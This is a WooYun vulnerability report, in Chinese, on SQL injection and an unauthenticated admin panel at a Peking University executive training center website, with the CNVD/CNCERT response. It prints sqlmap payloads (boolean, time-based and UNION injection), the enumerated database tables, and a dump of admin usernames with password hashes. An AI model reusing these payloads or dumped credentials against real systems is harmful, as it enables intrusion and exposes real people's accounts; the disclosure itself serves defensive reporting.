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缺陷编号:wooyun-2015-0154985

漏洞标题:某管理培训中心sql注入/未授权访问

相关厂商:cncert国家互联网应急中心

漏洞作者: 路人甲

提交时间:2015-11-27 14:14

修复时间:2016-01-15 17:30

公开时间:2016-01-15 17:30

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:12

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

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漏洞详情

披露状态:

2015-11-27: 细节已通知厂商并且等待厂商处理中
2015-12-01: 厂商已经确认,细节仅向厂商公开
2015-12-11: 细节向核心白帽子及相关领域专家公开
2015-12-21: 细节向普通白帽子公开
2015-12-31: 细节向实习白帽子公开
2016-01-15: 细节向公众公开

简要描述:

RT

详细说明:

注入点:
http://**.**.**.**/bd_nry.php?id=873

sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=873 AND 3994=3994
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 OR time-based blind
Payload: id=873 OR SLEEP(5)
Type: UNION query
Title: Generic UNION query (NULL) - 14 columns
Payload: id=873 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x717a717171,0x536667445856424a5570,0x71766b7871),NULL,NULL,NULL,NULL,NULL,NULL--
---
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, PHP 5.2.17
back-end DBMS: MySQL 5.0.12
Database: pkufdc
[8 tables]
+------------+
| admin_user |
| lyb |
| n_article |
| n_class |
| n_kwd |
| n_tag |
| webconfig |
| zxbmb |
+------------+


管理员信息表:

Database: pkufdc
Table: admin_user
[4 columns]
+--------+--------------+
| Column | Type |
+--------+--------------+
| flag | tinyint(4) |
| uid | int(11) |
| uname | varchar(20) |
| upwd | varchar(100) |
+--------+--------------+
Database: pkufdc
Table: admin_user
[6 entries]
+-----+------+----------------------------------+------------+
| uid | flag | upwd | uname |
+-----+------+----------------------------------+------------+
| 2 | 1 | bf6343d07da915750209d813f4c1766f | admin |
| 3 | 1 | e5ed2706eb1d704211240756e1eee728 | zhaoxiaofa |
| 4 | 1 | 04cfa571f81d3c1a2b12f49cc2332d64 | liulaoshi |
| 5 | 1 | ac9fd5dfa53d60d9346d7eb08c92993e | admin8 |
| 6 | 1 | e5ed2706eb1d704211240756e1eee728 | dom |
| 7 | 1 | f6010169462a2b856ce8593eb027b134 | ADMIN |
+-----+------+----------------------------------+------------+

漏洞证明:

北京大学高层管理培训中心后台未授权访问可以直接进入后台
问题url:
http://**.**.**.**/admin/index.php

26.png

修复方案:

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2015-12-01 17:28

厂商回复:

CNVD确认所述情况,已经转由CNCERT下发给赛尔教育,由其后续协调网站管理单位处置。

最新状态:

暂无